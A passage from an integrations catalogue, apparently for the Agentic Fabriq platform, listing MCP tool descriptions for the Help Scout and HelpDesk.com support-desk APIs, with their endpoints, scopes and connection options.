lastName, email, createdAt/updatedAt, lastVisit (null if the user never visited), role (owner/admin/user/light user), timezone, type (team or user), photoUrl, initials, mention (handle usable to @mention users in thread bodies), jobTitle, phone, alternateEmails. via GET /v2/users/{userId} GET /api/v1/helpscout/users/{userId}. Scopes: api. helpscout_get_users_by_userid_conversation_reassignment (read) — Get a user's automatic conversation reassignment configuration. via GET /v2/users/{userId}/conversation-reassignment GET /api/v1/helpscout/users/{userId}/conversation-reassignment. Scopes: api. helpscout_get_users_by_userid_status (read) — Get a user's status. Each status has userId; email.status (active/away), email.updatedAt, email.performedBy, email.source (ui/api/presence_detection), email.customStatus (text, emoji, emojiName); chat.status (unavailable/available/assign/custom) and chat.mailboxStatuses (map of mailbox IDs to chat statuses, exposed when the overall status is custom). via GET /v2/users/{userId}/status GET /api/v1/helpscout/users/{userId}/status. Scopes: api. helpscout_get_users_me (read) — Retrieves information about the authenticated user. See Get User for response field descriptions. via GET /v2/users/me GET /api/v1/helpscout/users/me. Scopes: api. helpscout_get_users_status (read) — List statuses for all users. Each status has userId; email.status (active/away), email.updatedAt, email.performedBy, email.source (ui/api/presence_detection), email.customStatus (text, emoji, emojiName); chat.status (unavailable/available/assign/custom) and chat.mailboxStatuses (map of mailbox IDs to chat statuses, exposed when the overall status is custom). via GET /v2/users/status GET /api/v1/helpscout/users/status. Scopes: api. helpscout_get_v3_conversations_by_conversationid (read) — Same as Get Conversation, but returns the real `type` value for the createdBy and assignee fields - including system_user for AI-powered system users (person type values: user, customer, team, system_user). The v2 endpoint normalizes system_user to user for backward compatibility. Served from https://api.helpscout.net/v3. via GET /v3/conversations/{conversationId} This is a v3 endpoint: it is served without the /v2 prefix the rest of this integration uses, its response shape is the v3 one rather than the HAL documents the v2 endpoints return, and GET /v3/customers pages by an opaque `cursor` instead of a page number. GET /api/v1/helpscout/v3/conversations/{conversationId}. Scopes: api. helpscout_get_v3_conversations_by_conversationid_threads (read) — Same as List Threads, but returns the real `type` value for createdBy and assignedTo fields - including system_user for AI-powered system users (person types: user, customer, team, system_user). The v2 endpoint normalizes system_user to user for backward compatibility. Served from https://api.helpscout.net/v3. via GET /v3/conversations/{conversationId}/threads This is a v3 endpoint: it is served without the /v2 prefix the rest of this integration uses, its response shape is the v3 one rather than the HAL documents the v2 endpoints return, and GET /v3/customers pages by an opaque `cursor` instead of a page number. GET /api/v1/helpscout/v3/conversations/{conversationId}/threads. Scopes: api. helpscout_get_v3_customers (read) — List and filter customers with cursor-based pagination. All request parameters are joined by the AND operator. Customers are sorted by creation date (createdAt) from newest to oldest with the customer id as tiebreaker. `_links.next` is only present when more data is available. Served from https://api.helpscout.net/v3. via GET /v3/customers This is a v3 endpoint: it is served without the /v2 prefix the rest of this integration uses, its response shape is the v3 one rather than the HAL documents the v2 endpoints return, and GET /v3/customers pages by an opaque `cursor` instead of a page number. GET /api/v1/helpscout/v3/customers. Scopes: api. helpscout_get_v3_system_users (read) — List system users (e.g. AI agents). Each has id, type (always system_user), firstName, lastName, initials, email, mention (handle for @-references), timezone, role (company member role), photoUrl, createdAt, updatedAt. Served from https://api.helpscout.net/v3. via GET /v3/system-users This is a v3 endpoint: it is served without the /v2 prefix the rest of this integration uses, its response shape is the v3 one rather than the HAL documents the v2 endpoints return, and GET /v3/customers pages by an opaque `cursor` instead of a page number. GET /api/v1/helpscout/v3/system-users. Scopes: api. helpscout_get_v3_system_users_by_systemuserid (read) — Get a single system user by ID: id, type (always system_user), firstName, lastName, initials, email, mention, timezone, role, photoUrl, createdAt, updatedAt. Served from https://api.helpscout.net/v3. via GET /v3/system-users/{systemUserId} This is a v3 endpoint: it is served without the /v2 prefix the rest of this integration uses, its response shape is the v3 one rather than the HAL documents the v2 endpoints return, and GET /v3/customers pages by an opaque `cursor` instead of a page number. GET /api/v1/helpscout/v3/system-users/{systemUserId}. Scopes: api. helpscout_get_webhooks (read) — List webhooks. Each webhook has id, url, state (enabled/disabled), events, notification, payloadVersion (V2 deprecated / V3), label and mailboxIds. via GET /v2/webhooks GET /api/v1/helpscout/webhooks. Scopes: api. helpscout_get_webhooks_by_webhookid (read) — Get a single webhook: id, url, state (enabled or disabled), events, notification, payloadVersion, label, mailboxIds. via GET /v2/webhooks/{webhookId} GET /api/v1/helpscout/webhooks/{webhookId}. Scopes: api. helpscout_get_workflows (read) — List workflows. Each workflow has id, mailboxId, type (always manual via the API; automatic workflows exist within the app), status (active/inactive/invalid), order, name, createdAt, modifiedAt. Pages contain 50 items. via GET /v2/workflows GET /api/v1/helpscout/workflows. Scopes: api. helpscout_patch_conversations_by_conversationid (write) — JSONPatch endpoint for changing key conversation fields. Valid path/op combinations: /subject+replace (String), /primaryCustomer.id+replace (Number), /draft+replace (Boolean, publishes a draft), /mailboxId+move (Number, moves the conversation to another inbox), /status+replace (String), /assignTo+replace (Number - a user ID or team ID; teams share the user ID space), /assignTo+remove (un-assigns). If the conversation was merged with another conversation it is no longer accessible under the old ID: Get Conversation returns HTTP 301 with a Location header pointing at the new conversation (for 60 days), and modification requests return 404. via PATCH /v2/conversations/{conversationId} PATCH /api/v1/helpscout/conversations/{conversationId}. Scopes: api. helpscout_patch_conversations_by_conversationid_threads_by_threadid (write) — JSONPatch endpoint for updating a thread. Only allowed when the authorized user is an administrator or thread editing is enabled for the account. Valid path/op combinations: /text+replace (String - the original text is saved and can be viewed on the Help Scout website), /hidden+replace (Boolean - hides/unhides a non-draft customer or reply thread). If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. via PATCH /v2/conversations/{conversationId}/threads/{threadId} PATCH /api/v1/helpscout/conversations/{conversationId}/threads/{threadId}. Scopes: api. helpscout_patch_conversations_by_conversationid_threads_by_threadid_schedule (write) — Publishes the scheduled thread: the draft thread is turned into a reply/forward thread and the message is sent to the customer. Only needed to send sooner than originally scheduled. via PATCH /v2/conversations/{conversationId}/threads/{threadId}/schedule PATCH /api/v1/helpscout/conversations/{conversationId}/threads/{threadId}/schedule. Scopes: api. helpscout_patch_customers_by_customerid (write) — JSONPatch-style endpoint updating a customer profile after creation (name, email address, phone number, etc.). The payload MUST be an array of patch objects, else a validation error is returned. Individual values can be removed but a whole entry collection cannot (e.g. remove /emails is not allowed); type fields only accept the predefined values of the corresponding entry type. Supported paths: /address/city, /address/country, /address/lines, /address/postalCode, /address/state, /age, /background, /chats, /chats/{chatId}, /chats/{chatId}/type, /chats/{chatId}/value, /emails, /emails/{emailId}, /emails/{emailId}/type, /emails/{emailId}/value, /firstName, /gender, /jobTitle, /lastName, /location, /organization, /phones, /phones/{phoneId}, /phones/{phoneId}/type, /phones/{phoneId}/value, /photoType, /photoUrl, /social-profiles, /social-profiles/{socialProfileId}, /social-profiles/{socialProfileId}/value, /social-profiles/{socialProfile}/type, /websites, /websites/{websiteId}, /websites/{websiteId}/value. To update user-defined customer properties use Update Customer Properties; to fully overwrite the record use the PUT Customer endpoint. via PATCH /v2/customers/{customerId} PATCH /api/v1/helpscout/customers/{customerId}. Scopes: api. helpscout_patch_customers_by_customerid_properties (write) — Update a customer's property values via their slugs (JSONPatch-style array payload). The properties must be created first, either in the web application or via Create Customer Property Definition; this endpoint only manipulates values of predefined properties. Value formats per property type: number = integer (range [-9223372036854775808, 9223372036854775807]); text = string, max 255 characters; url = valid URL; date = valid date (YYYY-MM-DD); dropdown = option id or label pulled via List Customer Property Definitions. via PATCH /v2/customers/{customerId}/properties PATCH /api/v1/helpscout/customers/{customerId}/properties. Scopes: api. helpscout_patch_workflows_by_workflowid (write) — Change a workflow's status via a JSONPatch-style payload. via PATCH /v2/workflows/{workflowId} PATCH /api/v1/helpscout/workflows/{workflowId}. Scopes: api. helpscout_post_conversations (write) — Creates a conversation in an inbox with at least one thread. The customer is defined either via customer.id or customer.email (a new customer is created from the optional fields when the email is unknown). Assignment: set assignTo to a user ID or a team ID (teams share the user ID space) to assign; omit assignTo to let Inbox settings decide; send assignTo explicitly null to force unassigned. To create a draft conversation use a reply thread with draft:true. Uploaded thread attachments are scanned; malicious content is made inaccessible. A conversation can contain at most 100 threads - exceeding it returns HTTP 412 Precondition Failed, as does adding threads to conversations locked as too old by company policy. via POST /v2/conversations POST /api/v1/helpscout/conversations. Scopes: api. helpscout_post_conversations_by_conversationid_chats (write) — Add a chat thread to a conversation. When a thread of this type is added, the conversation is reopened unless the thread is imported (imported: true). If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. A conversation can contain at most 100 threads and company policy can lock conversations that are too old; both cases return HTTP 412 Precondition Failed. via POST /v2/conversations/{conversationId}/chats POST /api/v1/helpscout/conversations/{conversationId}/chats. Scopes: api. helpscout_post_conversations_by_conversationid_customer (write) — Add a customer thread to a conversation. Unless imported is true, this re-opens the updated conversation. If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. A conversation can contain at most 100 threads and company policy can lock conversations that are too old; both cases return HTTP 412 Precondition Failed. via POST /v2/conversations/{conversationId}/customer POST /api/v1/helpscout/conversations/{conversationId}/customer. Scopes: api. helpscout_post_conversations_by_conversationid_notes (write) — Add a note thread to a conversation. If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. A conversation can contain at most 100 threads and company policy can lock conversations that are too old; both cases return HTTP 412 Precondition Failed. via POST /v2/conversations/{conversationId}/notes POST /api/v1/helpscout/conversations/{conversationId}/notes. Scopes: api. helpscout_post_conversations_by_conversationid_phones (write) — Add a phone thread to a conversation. When a thread of this type is added, the conversation is reopened unless the thread is imported (imported: true). If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. A conversation can contain at most 100 threads and company policy can lock conversations that are too old; both cases return HTTP 412 Precondition Failed. via POST /v2/conversations/{conversationId}/phones POST /api/v1/helpscout/conversations/{conversationId}/phones. Scopes: api. helpscout_post_conversations_by_conversationid_reply (write) — Add a reply thread to a conversation. Set draft:true to create a draft reply. For an immediately published reply, assignTo can update the conversation owner (user or team ID); for a draft the owner is not updated until the reply is sent. When a thread of this type is added, the conversation is reopened unless the thread is imported (imported: true). If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. A conversation can contain at most 100 threads and company policy can lock conversations that are too old; both cases return HTTP 412 Precondition Failed. via POST /v2/conversations/{conversationId}/reply POST /api/v1/helpscout/conversations/{conversationId}/reply. Scopes: api. helpscout_post_conversations_by_conversationid_threads_by_threadid_attachments (write) — Upload an attachment to a thread. The uploaded attachment is scanned; if malicious content is detected the attachment won't be accessible. If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. via POST /v2/conversations/{conversationId}/threads/{threadId}/attachments POST /api/v1/helpscout/conversations/{conversationId}/threads/{threadId}/attachments. Scopes: api. helpscout_post_customer_properties (write) — Create a customer property definition. There is a limit of 50 customer property definitions per company. via POST /v2/customer-properties POST /api/v1/helpscout/customer-properties. Scopes: api. helpscout_post_customers (write) — Create a customer. Sub-entity lists (emails, phones, chats, socialProfiles, websites, address) use the same objects as their dedicated create endpoints. The properties field populates customer property values as slug:value pairs; properties must first be created in the web app or via Create Property Definition. Slugs are unique within the company, 1-100 chars, alphanumeric/hyphen/underscore; email, name, company and jobTitle are reserved. Value formats per property type: number = integer (int64 range); text = string max 255 chars; url = valid URL; date = YYYY-MM-DD; dropdown = option id or label from List Properties. via POST /v2/customers POST /api/v1/helpscout/customers. Scopes: api. helpscout_post_customers_by_customerid_address (write) — Create the customer's address. via POST /v2/customers/{customerId}/address POST /api/v1/helpscout/customers/{customerId}/address. Scopes: api. helpscout_post_customers_by_customerid_chats (write) — Add a chat handle to the customer. via POST /v2/customers/{customerId}/chats POST /api/v1/helpscout/customers/{customerId}/chats. Scopes: api. helpscout_post_customers_by_customerid_emails (write) — Add an email to the customer. via POST /v2/customers/{customerId}/emails POST /api/v1/helpscout/customers/{customerId}/emails. Scopes: api. helpscout_post_customers_by_customerid_phones (write) — Add a phone to the customer. via POST /v2/customers/{customerId}/phones POST /api/v1/helpscout/customers/{customerId}/phones. Scopes: api. helpscout_post_customers_by_customerid_social_profiles (write) — Add a social profile to the customer. via POST /v2/customers/{customerId}/social-profiles POST /api/v1/helpscout/customers/{customerId}/social-profiles. Scopes: api. helpscout_post_customers_by_customerid_websites (write) — Add a website to the customer. via POST /v2/customers/{customerId}/websites POST /api/v1/helpscout/customers/{customerId}/websites. Scopes: api. helpscout_post_mailboxes_by_mailboxid_saved_replies (write) — Create a saved reply in an inbox. via POST /v2/mailboxes/{mailboxId}/saved-replies POST /api/v1/helpscout/mailboxes/{mailboxId}/saved-replies. Scopes: api. helpscout_post_organizations (write) — Creates a single organization and returns the ID of the created entity in the Resource-Id header. Request schema derived from the documented example. via POST /v2/organizations POST /api/v1/helpscout/organizations. Scopes: api. helpscout_post_organizations_properties (write) — Creates a new organization property definition for the account. Each account can have up to 50 property definitions. via POST /v2/organizations/properties POST /api/v1/helpscout/organizations/properties. Scopes: api. helpscout_post_users (write) — Creates a new user in this account. Only Administrators and Account Owners can create users. The new user receives a welcome/invite email unless sendInvite is false. mailboxes optionally grants the new user email access to inboxes in the same request; the inboxes must belong to the caller/new user's company and the caller must have email access to each one. via POST /v2/users POST /api/v1/helpscout/users. Scopes: api. helpscout_post_webhooks (write) — Create a webhook. With the notification flag set, the payload does not contain the changed entity but just a resource URI that can be used to fetch the entity. via POST /v2/webhooks POST /api/v1/helpscout/webhooks. Scopes: api. helpscout_post_workflows_by_workflowid_run (write) — Run a manual workflow on a list of conversations. Only manual workflows can be executed this way. All conversation IDs must belong to existing conversations and be from the same inbox as the workflow. via POST /v2/workflows/{workflowId}/run POST /api/v1/helpscout/workflows/{workflowId}/run. Scopes: api. helpscout_put_conversations_by_conversationid_fields (write) — Update a single conversation's custom fields. The entire list of custom fields must be sent; any custom fields on the conversation that are not in the payload are removed (send an empty list to remove all). System fields (fields with a systemType such as Topics and Sentiment, managed by Help Scout) are the exception: leaving one out preserves its value; sending it with an empty value clears it. Value formats: number fields are integer values up to 255 characters; date fields YYYY-MM-DD; dropdown fields must contain the option id; single line fields <= 255 characters; multi-line fields <= 15000 characters. If the conversation was merged with another conversation it is no longer accessible under the old ID: Get Conversation returns HTTP 301 with a Location header pointing at the new conversation (for 60 days), and modification requests return 404. via PUT /v2/conversations/{conversationId}/fields PUT /api/v1/helpscout/conversations/{conversationId}/fields. Scopes: api. helpscout_put_conversations_by_conversationid_snooze (write) — Snooze a conversation. Every subsequent request overrides the previous snooze settings. via PUT /v2/conversations/{conversationId}/snooze PUT /api/v1/helpscout/conversations/{conversationId}/snooze. Scopes: api. helpscout_put_conversations_by_conversationid_tags (write) — Update a single conversation's tags. The entire tag list must be sent; tags not in the payload are removed (send an empty list to remove all). A tag that does not exist yet is first created and then applied. If the conversation was merged with another conversation it is no longer accessible under the old ID: Get Conversation returns HTTP 301 with a Location header pointing at the new conversation (for 60 days), and modification requests return 404. via PUT /v2/conversations/{conversationId}/tags PUT /api/v1/helpscout/conversations/{conversationId}/tags. Scopes: api. helpscout_put_conversations_by_conversationid_threads_by_threadid_schedule (write) — Schedules a reply/forward thread. Subsequent requests override the previous schedules. via PUT /v2/conversations/{conversationId}/threads/{threadId}/schedule PUT /api/v1/helpscout/conversations/{conversationId}/threads/{threadId}/schedule. Scopes: api. helpscout_put_customers_by_customerid (write) — Overwrite the Customer entity fields. A field not set in the request is treated as null and overwritten - for partial updates use the PATCH Update Customer endpoint. Only the base entity is updated; use the Address/Chat Handles/Emails/Phones/Properties/Social Profiles/Websites endpoints for the rest. via PUT /v2/customers/{customerId} PUT /api/v1/helpscout/customers/{customerId}. Scopes: api. helpscout_put_customers_by_customerid_address (write) — Update the customer's address. via PUT /v2/customers/{customerId}/address PUT /api/v1/helpscout/customers/{customerId}/address. Scopes: api. helpscout_put_customers_by_customerid_chats_by_chatid (write) — Update a customer's chat handle. via PUT /v2/customers/{customerId}/chats/{chatId} PUT /api/v1/helpscout/customers/{customerId}/chats/{chatId}. Scopes: api. helpscout_put_customers_by_customerid_emails_by_emailid (write) — Update a customer's email. via PUT /v2/customers/{customerId}/emails/{emailId} PUT /api/v1/helpscout/customers/{customerId}/emails/{emailId}. Scopes: api. helpscout_put_customers_by_customerid_phones_by_phoneid (write) — Update a customer's phone. via PUT /v2/customers/{customerId}/phones/{phoneId} PUT /api/v1/helpscout/customers/{customerId}/phones/{phoneId}. Scopes: api. helpscout_put_customers_by_customerid_social_profiles_by_socialprofileid (write) — Update a customer's social profile. via PUT /v2/customers/{customerId}/social-profiles/{socialProfileId} PUT /api/v1/helpscout/customers/{customerId}/social-profiles/{socialProfileId}. Scopes: api. helpscout_put_customers_by_customerid_websites_by_websiteid (write) — Update a customer's website. via PUT /v2/customers/{customerId}/websites/{websiteId} PUT /api/v1/helpscout/customers/{customerId}/websites/{websiteId}. Scopes: api. helpscout_put_mailboxes_by_mailboxid_routing (write) — Update the inbox's routing configuration. via PUT /v2/mailboxes/{mailboxId}/routing PUT /api/v1/helpscout/mailboxes/{mailboxId}/routing. Scopes: api. helpscout_put_mailboxes_by_mailboxid_saved_replies_by_savedreplyid (write) — Update a saved reply. via PUT /v2/mailboxes/{mailboxId}/saved-replies/{savedReplyId} PUT /api/v1/helpscout/mailboxes/{mailboxId}/saved-replies/{savedReplyId}. Scopes: api. helpscout_put_organizations_by_organizationid (write) — Updates an organization with the given ID. This is a COMPLETE update: all fields must be provided even if unchanged, otherwise all missing fields are removed from the organization (scalars set to null, arrays cleared). via PUT /v2/organizations/{organizationId} PUT /api/v1/helpscout/organizations/{organizationId}. Scopes: api. helpscout_put_organizations_by_organizationid_properties_by_slug (write) — Sets the value of an organization property, replacing any existing value. The value must be provided as a string regardless of property type: text/url = plain string; number = numeric string (e.g. '100'); date = ISO 8601 date (e.g. '2024-01-15'); dropdown = the exact label of one of the defined options. via PUT /v2/organizations/{organizationId}/properties/{slug} PUT /api/v1/helpscout/organizations/{organizationId}/properties/{slug}. Scopes: api. helpscout_put_organizations_properties_by_slug (write) — Updates an existing organization property definition (name and options). The property type and slug cannot be changed. When updating options for a dropdown property the entire options list is replaced; property values for removed options are removed. via PUT /v2/organizations/properties/{slug} PUT /api/v1/helpscout/organizations/properties/{slug}. Scopes: api. helpscout_put_teams_by_teamid_members (write) — Add and/or remove team members. via PUT /v2/teams/{teamId}/members PUT /api/v1/helpscout/teams/{teamId}/members. Scopes: api. helpscout_put_users_by_userid_conversation_reassignment (write) — Update a user's automatic conversation reassignment configuration. via PUT /v2/users/{userId}/conversation-reassignment PUT /api/v1/helpscout/users/{userId}/conversation-reassignment. Scopes: api. helpscout_put_users_by_userid_status (write) — Set a user's status. Administrators and Account Owners can edit other users' status. via PUT /v2/users/{userId}/status PUT /api/v1/helpscout/users/{userId}/status. Scopes: api. helpscout_put_webhooks_by_webhookid (write) — Update a webhook. via PUT /v2/webhooks/{webhookId} PUT /api/v1/helpscout/webhooks/{webhookId}. Scopes: api. ================================================================================ ## HelpDesk.com URL: https://www.agenticfabriq.com/integrations/helpdesk Section: Integrated Tools HelpDesk.com — 137 MCP tools Provider key: helpdesk. Scopes: api. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. help_desk_com_delete_v1_agents_by_agentid (write, destructive) — Delete agent via DELETE /v1/agents/{agentID} DELETE /api/v1/helpdesk/v1/agents/{agentID}. Scopes: api. help_desk_com_delete_v1_blockedemails_by_blockedemailid (write, destructive) — Remove blocked email via DELETE /v1/blockedEmails/{blockedEmailID} DELETE /api/v1/helpdesk/v1/blockedEmails/{blockedEmailID}. Scopes: api. help_desk_com_delete_v1_cannedresponses_by_cannedresponseid (write, destructive) — Delete canned response via DELETE /v1/cannedResponses/{cannedResponseID} DELETE /api/v1/helpdesk/v1/cannedResponses/{cannedResponseID}. Scopes: api. help_desk_com_delete_v1_customfields_by_customfieldid (write, destructive) — Delete custom field via DELETE /v1/customFields/{customFieldID} DELETE /api/v1/helpdesk/v1/customFields/{customFieldID}. Scopes: api. help_desk_com_delete_v1_emaildomains_by_emaildomainid (write, destructive) — Delete email domain via DELETE /v1/emailDomains/{emailDomainID} DELETE /api/v1/helpdesk/v1/emailDomains/{emailDomainID}. Scopes: api. help_desk_com_delete_v1_macros_by_macroid (write, destructive) — Delete macro via DELETE /v1/macros/{macroID} DELETE /api/v1/helpdesk/v1/macros/{macroID}. Scopes: api. help_desk_com_delete_v1_mailboxes_by_mailboxid (write, destructive) — Delete mailbox via DELETE /v1/mailboxes/{mailboxID} DELETE /api/v1/helpdesk/v1/mailboxes/{mailboxID}. Scopes: api. help_desk_com_delete_v1_replyaddresses_by_replyaddressid (write, destructive) — Delete reply address via DELETE /v1/replyAddresses/{replyAddressID} DELETE /api/v1/helpdesk/v1/replyAddresses/{replyAddressID}. Scopes: api. help_desk_com_delete_v1_rules_by_ruleid (write, destructive) — Delete rule via DELETE /v1/rules/{ruleID} DELETE /api/v1/helpdesk/v1/rules/{ruleID}. Scopes: api. help_desk_com_delete_v1_tags_by_tagid (write, destructive) — Delete tag via DELETE /v1/tags/{tagID} DELETE /api/v1/helpdesk/v1/tags/{tagID}. Scopes: api. help_desk_com_delete_v1_teams_by_teamid (write, destructive) — Delete team via DELETE /v1/teams/{teamID} DELETE /api/v1/helpdesk/v1/teams/{teamID}. Scopes: api. help_desk_com_delete_v1_templates_by_templateid (write, destructive) — Delete template via DELETE /v1/templates/{templateID} DELETE /api/v1/helpdesk/v1/templates/{templateID}. Scopes: api. help_desk_com_delete_v1_tickets_by_ticketid (write, destructive) — Delete ticket via DELETE /v1/tickets/{ticketID} DELETE /api/v1/helpdesk/v1/tickets/{ticketID}. Scopes: api. help_desk_com_delete_v1_tickets_by_ticketid_childtickets_by_childticketid (write, destructive) — Unmerge ticket via DELETE /v1/tickets/{ticketID}/childTickets/{childTicketID} DELETE /api/v1/helpdesk/v1/tickets/{ticketID}/childTickets/{childTicketID}. Scopes: api. help_desk_com_delete_v1_tickets_by_ticketid_events_by_eventid_attachments_by_attachmentid (write, destructive) — Delete tickets attachment via DELETE /v1/tickets/{ticketID}/events/{eventID}/attachments/{attachmentID} DELETE /api/v1/helpdesk/v1/tickets/{ticketID}/events/{eventID}/attachments/{attachmentID}. Scopes: api. help_desk_com_delete_v1_tickets_by_ticketid_followers_by_followerid (write, destructive) — Remove follower via DELETE /v1/tickets/{ticketID}/followers/{followerID} DELETE /api/v1/helpdesk/v1/tickets/{ticketID}/followers/{followerID}. Scopes: api. help_desk_com_delete_v1_tickets_by_ticketid_tags_by_tagid (write, destructive) — Remove tag via DELETE /v1/tickets/{ticketID}/tags/{tagID} DELETE /api/v1/helpdesk/v1/tickets/{ticketID}/tags/{tagID}. Scopes: api. help_desk_com_delete_v1_transactions_by_transactionid_attachments_by_attachmentid (write, destructive) — Delete attachment via DELETE /v1/transactions/{transactionID}/attachments/{attachmentID} DELETE /api/v1/helpdesk/v1/transactions/{transactionID}/attachments/{attachmentID}. Scopes: api. help_desk_com_delete_v1_trustedemails_by_trustedemailid (write, destructive) — Remove trusted email via DELETE /v1/trustedEmails/{trustedEmailID} DELETE /api/v1/helpdesk/v1/trustedEmails/{trustedEmailID}. Scopes: api. help_desk_com_delete_v1_views_by_viewid (write, destructive) — Delete view via DELETE /v1/views/{viewID} DELETE /api/v1/helpdesk/v1/views/{viewID}. Scopes: api. help_desk_com_delete_v1_webhooks_by_webhookid (write, destructive) — Delete webhook via DELETE /v1/webhooks/{webhookID} DELETE /api/v1/helpdesk/v1/webhooks/{webhookID}. Scopes: api. help_desk_com_get_v1_agents (read) — List agents via GET /v1/agents GET /api/v1/helpdesk/v1/agents. Scopes: api. help_desk_com_get_v1_agents_by_agentid (read) — Get agent via GET /v1/agents/{agentID} GET /api/v1/helpdesk/v1/agents/{agentID}. Scopes: api. help_desk_com_get_v1_auditlog (read) — Returns audit log events via GET /v1/auditLog GET /api/v1/helpdesk/v1/auditLog. Scopes: api. help_desk_com_get_v1_blockedemails (read) — List blocked emails via GET /v1/blockedEmails GET /api/v1/helpdesk/v1/blockedEmails. Scopes: api. help_desk_com_get_v1_blockedemails_by_blockedemailid (read) — Get blocked email via GET /v1/blockedEmails/{blockedEmailID} GET /api/v1/helpdesk/v1/blockedEmails/{blockedEmailID}. Scopes: api. help_desk_com_get_v1_cannedresponses (read) — List canned responses via GET /v1/cannedResponses GET /api/v1/helpdesk/v1/cannedResponses. Scopes: api. help_desk_com_get_v1_cannedresponses_by_cannedresponseid (read) — Get canned response via GET /v1/cannedResponses/{cannedResponseID} GET /api/v1/helpdesk/v1/cannedResponses/{cannedResponseID}. Scopes: api. help_desk_com_get_v1_customfields (read) — List custom fields via GET /v1/customFields GET /api/v1/helpdesk/v1/customFields. Scopes: api. help_desk_com_get_v1_customfields_by_customfieldid (read) — Get custom field via GET /v1/customFields/{customFieldID} GET /api/v1/helpdesk/v1/customFields/{customFieldID}. Scopes: api. help_desk_com_get_v1_emaildomains (read) — Email domains list via GET /v1/emailDomains GET /api/v1/helpdesk/v1/emailDomains. Scopes: api. help_desk_com_get_v1_emaildomains_available (read) — Check domain availability via GET /v1/emailDomains/available GET /api/v1/helpdesk/v1/emailDomains/available. Scopes: api. help_desk_com_get_v1_emaildomains_by_emaildomainid (read) — Get email domain via GET /v1/emailDomains/{emailDomainID} GET /api/v1/helpdesk/v1/emailDomains/{emailDomainID}. Scopes: api. help_desk_com_get_v1_licenses (read) — List licenses via GET /v1/licenses GET /api/v1/helpdesk/v1/licenses. Scopes: api. help_desk_com_get_v1_licenses_by_licenseid (read) — Get license via GET /v1/licenses/{licenseID} GET /api/v1/helpdesk/v1/licenses/{licenseID}. Scopes: api. help_desk_com_get_v1_macros (read) — Macros list via GET /v1/macros GET /api/v1/helpdesk/v1/macros. Scopes: api. help_desk_com_get_v1_macros_by_macroid (read) — Get macro via GET /v1/macros/{macroID} GET /api/v1/helpdesk/v1/macros/{macroID}. Scopes: api. help_desk_com_get_v1_mailboxes (read) — List mailboxes via GET /v1/mailboxes GET /api/v1/helpdesk/v1/mailboxes. Scopes: api. help_desk_com_get_v1_mailboxes_by_mailboxid (read) — Get mailbox via GET /v1/mailboxes/{mailboxID} GET /api/v1/helpdesk/v1/mailboxes/{mailboxID}. Scopes: api. help_desk_com_get_v1_replyaddresses (read) — List reply addresses via GET /v1/replyAddresses GET /api/v1/helpdesk/v1/replyAddresses. Scopes: api. help_desk_com_get_v1_replyaddresses_by_replyaddressid (read) — Get reply address via GET /v1/replyAddresses/{replyAddressID} GET /api/v1/helpdesk/v1/replyAddresses/{replyAddressID}. Scopes: api. help_desk_com_get_v1_reports_agentrating (read) — Agent rating via GET /v1/reports/agentRating GET /api/v1/helpdesk/v1/reports/agentRating. Scopes: api. help_desk_com_get_v1_reports_failedemails (read) — Failed outgoing emails via GET /v1/reports/failedEmails GET /api/v1/helpdesk/v1/reports/failedEmails. Scopes: api. help_desk_com_get_v1_reports_newtickets (read) — New tickets via GET /v1/reports/newTickets GET /api/v1/helpdesk/v1/reports/newTickets. Scopes: api. help_desk_com_get_v1_reports_newtickets24 (read) — New tickets (24h distribution) via GET /v1/reports/newTickets24 GET /api/v1/helpdesk/v1/reports/newTickets24. Scopes: api. help_desk_com_get_v1_reports_rating (read) — Ticket rating via GET /v1/reports/rating GET /api/v1/helpdesk/v1/reports/rating. Scopes: api. help_desk_com_get_v1_reports_rating24 (read) — Ticket rating (24h distribution) via GET /v1/reports/rating24 GET /api/v1/helpdesk/v1/reports/rating24. Scopes: api. help_desk_com_get_v1_reports_ratingperagent (read) — Rating per agent via GET /v1/reports/ratingPerAgent GET /api/v1/helpdesk/v1/reports/ratingPerAgent. Scopes: api. help_desk_com_get_v1_reports_ratingperteam (read) — Rating per team via GET /v1/reports/ratingPerTeam GET /api/v1/helpdesk/v1/reports/ratingPerTeam. Scopes: api. help_desk_com_get_v1_reports_resolutiontime (read) — Resolution time via GET /v1/reports/resolutionTime GET /api/v1/helpdesk/v1/reports/resolutionTime. Scopes: api. help_desk_com_get_v1_reports_resolutiontime24 (read) — Resolution time (24h distribution) via GET /v1/reports/resolutionTime24 GET /api/v1/helpdesk/v1/reports/resolutionTime24. Scopes: api. help_desk_com_get_v1_reports_resolutiontimeperagent (read) — Resolution time per agent via GET /v1/reports/resolutionTimePerAgent GET /api/v1/helpdesk/v1/reports/resolutionTimePerAgent. Scopes: api. help_desk_com_get_v1_reports_resolutiontimeperteam (read) — Resolution time per team via GET /v1/reports/resolutionTimePerTeam GET /api/v1/helpdesk/v1/reports/resolutionTimePerTeam. Scopes: api. help_desk_com_get_v1_reports_responsetime (read) — Response time via GET /v1/reports/responseTime GET /api/v1/helpdesk/v1/reports/responseTime. Scopes: api. help_desk_com_get_v1_reports_responsetime24 (read) — Response time (24h distribution) via GET /v1/reports/responseTime24 GET /api/v1/helpdesk/v1/reports/responseTime24. Scopes: api. help_desk_com_get_v1_reports_responsetimeperagent (read) — Response time per agent via GET /v1/reports/responseTimePerAgent GET /api/v1/helpdesk/v1/reports/responseTimePerAgent. Scopes: api. help_desk_com_get_v1_reports_responsetimeperteam (read) — Response time per team via GET /v1/reports/responseTimePerTeam 